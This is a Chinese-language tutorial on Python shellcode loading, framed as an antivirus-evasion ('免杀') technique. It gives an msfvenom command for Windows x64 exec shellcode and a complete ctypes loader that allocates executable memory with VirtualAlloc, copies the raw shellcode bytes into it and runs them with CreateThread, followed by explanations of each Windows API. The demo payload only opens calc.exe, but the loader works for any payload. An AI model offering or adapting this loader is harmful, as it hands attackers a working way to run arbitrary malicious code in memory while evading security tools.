何为python免杀技术shellcode的加载和执行方法?
0x01 生成shellcode
首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。
msfvenom -p windows/x64/exec CMD='calc.exe' -f py
0x02 加载与执行shellcode的程序
程序为:
# -*- coding:utf-8 -*- import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" ) def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件 if __name__ == "__main__": run1()
0x03 程序解释
导入模块,并且程序分配内存还有可进行读写操作。
import ctypes from ctypes import * from ctypes.wintypes import * import sys PAGE_EXECUTE_READWRITE = 0x00000040 MEM_COMMIT = 0x3000 PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
区域可执行代码,可读可写
PAGE_EXECUTE_READWRITE = 0x00000040
分配内存
MEM_COMMIT = 0x3000
给予进程所有权限
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
调用windows api
VirtualAlloc = windll.kernel32.VirtualAlloc RtlMoveMemory = windll.kernel32.RtlMoveMemory CreateThread = windll.kernel32.CreateThread WaitForSingleObject = windll.kernel32.WaitForSingleObject OpenProcess = windll.kernel32.OpenProcess VirtualAllocEx = windll.kernel32.VirtualAllocEx WriteProcessMemory = windll.kernel32.WriteProcessMemory CreateRemoteThread = windll.kernel32.CreateRemoteThread
将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处理
shellcode = bytearray( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41" b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48" b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f" b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c" b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52" b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b" b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0" b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56" b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9" b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0" b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58" b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0" b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41" b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41" b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06" b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65" b"\x78\x65\x00" )
创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:
def run1(): VirtualAlloc.restype = ctypes.c_void_p #重载函数返回类型为void p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存 buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针 RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中 h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程 WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
VirtualAlloc是用来申请内存空间,是一个Windows API函数,它的声明为:
LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的内存区域的地址 DWORD dwSize, // 分配的大小 DWORD flAllocationType, // 分配的类型 DWORD flProtect // 该内存的初始保护属性 };
RtlMoveMemory从指定内存中复制内存至另一内存里.语法为:
VOID RtlMoveMemory( VOID UNALIGNED *Destination, const VOID UNALIGNED *Source, SIZE_T Length );
参数:
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
CreateThread是一种微软在Windows API中提供了建立新的线程的函数,该函数在主线程的基础上创建一个新线程。
函数原型:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD SIZE_T dwStackSize,//initialstacksize LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction LPVOID lpParameter,//threadargument DWORD dwCreationFlags,//creationoption LPDWORD lpThreadId//threadidentifier )
参数意义
lpThreadAttributes:指向SECURITY_ATTRIBUTES型态的结构的指针。在Windows 98中忽略该参数。在Windows NT中,NULL使用默认安全性,不可以被子线程继承,否则需要定义一个结构体将它的bInheritHandle成员初始化为TRUE。
dwStackSize,设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,Windows根据需要动态延长堆栈的大小。
lpStartAddress,指向线程函数的指针,形式:@函数名,函数名称没有限制
lpParameter:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为NULL。
dwCreationFlags :线程标志,可取值如下
(1)CREATE_SUSPENDED(0x00000004):创建一个挂起的线程,
(2)0:表示创建后立即激活。
(3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize参数指定初始的保留堆栈 的大小,否则,dwStackSize指定提交的大小。该标记值在Windows 2000/NT and Windows Me/98/95上不支持。
lpThreadId:保存新线程的id。
WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。
声明:
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, __in DWORD dwMilliseconds );
hHandle[in]对象句柄。可以指定一系列的对象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。
dwMilliseconds[in]定时时间间隔,单位为milliseconds(毫秒).如果指定一个非零值,函数处于等待状态直到hHandle标记的对象被触发,或者时间到了。如果dwMilliseconds为0,对象没有被触发信号,函数不会进入一个等待状态,它总是立即返回。如果dwMilliseconds为INFINITE,对象被触发信号后,函数才会返回。
运行程序可以成功弹出计算器。
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